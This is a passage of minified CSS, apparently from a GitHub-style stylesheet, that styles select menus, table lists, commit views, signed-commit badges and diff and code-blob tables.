var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner 